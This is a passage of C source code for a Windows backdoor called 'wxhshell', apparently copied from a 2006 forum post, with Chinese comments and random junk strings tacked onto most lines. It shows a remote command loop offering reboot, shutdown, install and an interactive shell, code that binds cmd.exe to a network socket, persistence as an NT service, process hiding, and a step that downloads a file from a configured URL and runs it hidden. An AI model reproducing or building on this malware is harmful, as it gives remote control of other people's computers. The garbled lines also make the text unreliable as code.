  else { ;;t yoh~t  
E&w7GZNt  
    switch(cmd[0]) { _61gF[r4!Y  
  @1j   
  // 帮助 e%M;?0j  
  case '?': { Yh7t"=o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DCa^ u'f  
    break; Nx;~@  
  } 3=[mP, pLh  
  // 安装 >R_&Ouh:  
  case 'i': { >'$Mp<  
    if(Install()) u#~RkY7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >:!5*E5?  
    else t?gic9 q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6@!`]tSCK  
    break; kZ:ZtE  
    } qR{=pR  
  // 卸载 wlvgg  
  case 'r': { Izc\V9+  
    if(Uninstall()) I{2hfKUe`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i]4I [!  
    else gD?l-RT>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r6qj7}\  
    break; Q&;9 x?e  
    }  _[3D  
  // 显示 wxhshell 所在路径 EZGIf/ 3  
  case 'p': { xo&_bMO  
    char svExeFile[MAX_PATH]; =WATyY:s  
    strcpy(svExeFile,"\n\r"); 3d]S!=4H"  
      strcat(svExeFile,ExeFile); B9 uoVcW  
        send(wsh,svExeFile,strlen(svExeFile),0); J@'wf8Ub  
    break; ^CX6&d  
    } G` A4|+W"  
  // 重启 RqrdAkg  
  case 'b': { tk`v:t!6U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^x,YW]AS}  
    if(Boot(REBOOT)) %> eiAB_b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$<JHo @.  
    else { fr3d  
    closesocket(wsh); L2z[   
    ExitThread(0); SnfYT)Ph  
    } \2$|Ei7  
    break; KpGhQdR#  
    } CCx&7f  
  // 关机 Hn"RH1Zy  
  case 'd': { 9A=,E&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4HlQ&2O%#  
    if(Boot(SHUTDOWN)) IJ"q~r$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D@.6>:;il  
    else { 0e4{{zQx  
    closesocket(wsh); }Y\%RA  
    ExitThread(0); EQM {  
    } cwg"c4V  
    break; K%oG,-wdg  
    } D,feF9  
  // 获取shell ?tbrbkx  
  case 's': { wHy!CP%  
    CmdShell(wsh); fZF@k5*\  
    closesocket(wsh); HZge!Yp<  
    ExitThread(0); }}~|!8  
    break; C'x&Py/#  
  } :o3N;*o>)0  
  // 退出 T~e.PP  
  case 'x': { |{ip T SH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C6PdDRf  
    CloseIt(wsh); W6Fo6a"<  
    break; V,njO{Q  
    } 7. oM J  
  // 离开 fHFE){  
  case 'q': { y6a3t G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O0.*Pmt  
    closesocket(wsh); (9a^$C*  
    WSACleanup(); 4Nsp<Kn>  
    exit(1); >[#f\bG>  
    break; [(lW^-  
        } M= (u]%\  
  } !Uo4,g6r+  
  } $UwCMPs X  
]f_p 8?j"  
  // 提示信息 bt?5*ETA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~xFkU#  
} QXK{bxwC  
  } W=?<<dVYD  
eR>oq,  
  return; Bzf^ivT3L  
} > (<f 0  
$& c*'3  
// shell模块句柄 *.[. {qG(  
int CmdShell(SOCKET sock) 'w aaw_>b  
{ \FaP|28h  
STARTUPINFO si; @0''k  
ZeroMemory(&si,sizeof(si)); jP.dDYc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8s@3hXD&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >t+P(*u  
PROCESS_INFORMATION ProcessInfo; nw<uyaU-t  
char cmdline[]="cmd"; {.Jlbi9!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gSj,E8-g  
  return 0; R;LP:,)  
} OyIw>Wfv  
"AqB$^S9t  
// 自身启动模式 tH4B:Bgj!  
int StartFromService(void) #'`{Qv0,  
{ c:('W16  
typedef struct n$R)>n Y  
{ }@)[5N# A|  
  DWORD ExitStatus; [-w%/D%@  
  DWORD PebBaseAddress; y~V(aih}D  
  DWORD AffinityMask; *-X[u:  
  DWORD BasePriority; %BODkc Zh  
  ULONG UniqueProcessId; PA*5Bk="q  
  ULONG InheritedFromUniqueProcessId; V;=cwy)I  
}   PROCESS_BASIC_INFORMATION; 6y<EgYzdE  
uxz^/Gk  
PROCNTQSIP NtQueryInformationProcess; Y]a@j !  
%C]>9."  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fr-SvsNFB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7tp36TE  
l[J8!u2Xp  
  HANDLE             hProcess; P+}h$ _x  
  PROCESS_BASIC_INFORMATION pbi; j~MI<I+l[  
WIGi51yC.x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r JB}qYD  
  if(NULL == hInst ) return 0; Z_NCD`i;  
=_^X3z0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); * y,v}-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *^`Vz?g<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gc7=  
'3;b@g,  
  if (!NtQueryInformationProcess) return 0; q^nVN#  
W,u:gzmhw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wd6owr  
  if(!hProcess) return 0; zuCSj~  
nk:)j:fr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `D9$v(Ztr  
|W^IlqTH  
  CloseHandle(hProcess); :T~  [  
EQ_aa@M7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h+,@G,|D  
if(hProcess==NULL) return 0; >Q*Wi  
.+qpk*V\  
HMODULE hMod; Bbc^FHip  
char procName[255]; d;>QhoiL  
unsigned long cbNeeded; ~LC-[&$  
KPki}'GO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -\MG}5?!  
FI.\%x  
  CloseHandle(hProcess); X>^fEQq"  
"N#Y gSr  
if(strstr(procName,"services")) return 1; // 以服务启动 8Fub<UhJ  
Dv6}bx(  
  return 0; // 注册表启动 Y:`&=wjP~  
} wC*X4 '  
i/.6>4tE:  
// 主模块 lq uLT6]  
int StartWxhshell(LPSTR lpCmdLine) A}!J$V:w]  
{ .\mj4*?/  
  SOCKET wsl; (<lhn  
BOOL val=TRUE; #&4=VGx{ #  
  int port=0; TA\vZGJ('  
  struct sockaddr_in door; Gm`8q}<I  
.)3<Q}>  
  if(wscfg.ws_autoins) Install(); k3|Z7eW}[  
^z\cyT%7t  
port=atoi(lpCmdLine); Nboaf  
E{@[k%,_  
if(port<=0) port=wscfg.ws_port; iow"n$/  
4Tc~b3\!Y  
  WSADATA data; N>E_%]Ch  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D+c>F5  
x1<|hTPk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A}^mdw9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {{1G`;|v 9  
  door.sin_family = AF_INET; =MWHJ'3-/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }B^tL$k  
  door.sin_port = htons(port); b2*TgnRq  
E`J@h l$N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QWU-m{@~&  
closesocket(wsl); O&&~NXI\  
return 1; 3U}%2ARo_  
} HKeK<V  
BLFdHB.$T  
  if(listen(wsl,2) == INVALID_SOCKET) { =|9!vzG4  
closesocket(wsl); 3$/IC@+  
return 1; ';"VDLb3  
} d'ifLQ\  
  Wxhshell(wsl); R-14=|7a-  
  WSACleanup(); #;S*V"  
v^P O|Z  
return 0; NlXimq  
1mJ Hued=6  
} sRfcF`7  
zeRyL3fnmb  
// 以NT服务方式启动 m+9#5a-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;a3}~s  
{ M\=2uKG#  
DWORD   status = 0; ,u m|1dh  
  DWORD   specificError = 0xfffffff; )}v l\7=  
P {'b:C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `_h&glMJ,q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8k79&|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W3RT{\  
  serviceStatus.dwWin32ExitCode     = 0; fy$1YI>!Q  
  serviceStatus.dwServiceSpecificExitCode = 0; Kpp_|2|@<  
  serviceStatus.dwCheckPoint       = 0; Y*hCMy;  
  serviceStatus.dwWaitHint       = 0; h];I{crh  
2SLU:=<3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =c7;r]Ol  
  if (hServiceStatusHandle==0) return; V8(-  
pot~<d`:K"  
status = GetLastError(); 9u:Q,0\  
  if (status!=NO_ERROR) 2rMpgV5  
{ #"an9<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w =KPT''!  
    serviceStatus.dwCheckPoint       = 0; K^[?O{x^B  
    serviceStatus.dwWaitHint       = 0; Ho%CDz z  
    serviceStatus.dwWin32ExitCode     = status; Gh$^{  
    serviceStatus.dwServiceSpecificExitCode = specificError; M3AXe]<eC1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ss`LLq0LO  
    return; W!<U85-#S  
  } j.YA 2mr  
+|rj4j)L&'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _*zt=zn>  
  serviceStatus.dwCheckPoint       = 0; vv7I_nK?  
  serviceStatus.dwWaitHint       = 0; OJxl<Q=z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g .\[o@H  
} 8ipez/  
Debv4Gr;^  
// 处理NT服务事件,比如:启动、停止 r :dTz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /<3UQLMa  
{ 1&2>LE/P  
switch(fdwControl) fR|A(u#9  
{ EQ ttoOO  
case SERVICE_CONTROL_STOP: Wjc'*QCPl  
  serviceStatus.dwWin32ExitCode = 0; nP$9CA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ElXFeJ%[G  
  serviceStatus.dwCheckPoint   = 0; c%&>p||  
  serviceStatus.dwWaitHint     = 0; IK]d3owA  
  { y}H!c;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Cj B1] I  
  } 7 d vnupLh  
  return; `x|?&Ytmf9  
case SERVICE_CONTROL_PAUSE: p#Bi>/C6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z ]ONh  
  break; @@%ataUSBT  
case SERVICE_CONTROL_CONTINUE: q*KAk{kR(v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 16 $B>  
  break; ;nGa.= "L  
case SERVICE_CONTROL_INTERROGATE: 'VbiVLWD  
  break; ME dWLFf  
}; UI#h&j5pW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W4N{S.#!  
} F5Va+z,jg  
j@9T.P1  
// 标准应用程序主函数 ;);kEq/=P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h\e.e3/  
{ Y0>y8U V  
Z}QB.$&  
// 获取操作系统版本 % `3jL7|  
OsIsNt=GetOsVer(); xfQ1T)F3g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [vgtc.V  
wj+*E6o-n  
  // 从命令行安装 $^ P0F9~0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZW}_DT0  
8_8l.!~  
  // 下载执行文件 =Uh$&m  
if(wscfg.ws_downexe) { xA/D'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RpF&\x>  
  WinExec(wscfg.ws_filenam,SW_HIDE); <q SC#[xu  
} %LV9=!w  
vbNBLCwug  
if(!OsIsNt) { _L PHPj^Pg  
// 如果时win9x,隐藏进程并且设置为注册表启动 /NlGFO*Z  
HideProc(); pGZ8F  
StartWxhshell(lpCmdLine); @VBcJ{e,  
} w &(ag$p'  
else +H.`MZ=  
  if(StartFromService()) i$@:@&(~Y  
  // 以服务方式启动 `g,..Ns-r  
  StartServiceCtrlDispatcher(DispatchTable); hj:,S |  
else H.c7Nle  
  // 普通方式启动 g*Phv|kI  
  StartWxhshell(lpCmdLine); ^"g~-  
KP"+e:a%  
return 0; SIllU  
}
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只看该作者 1 发表于: 2006-10-10
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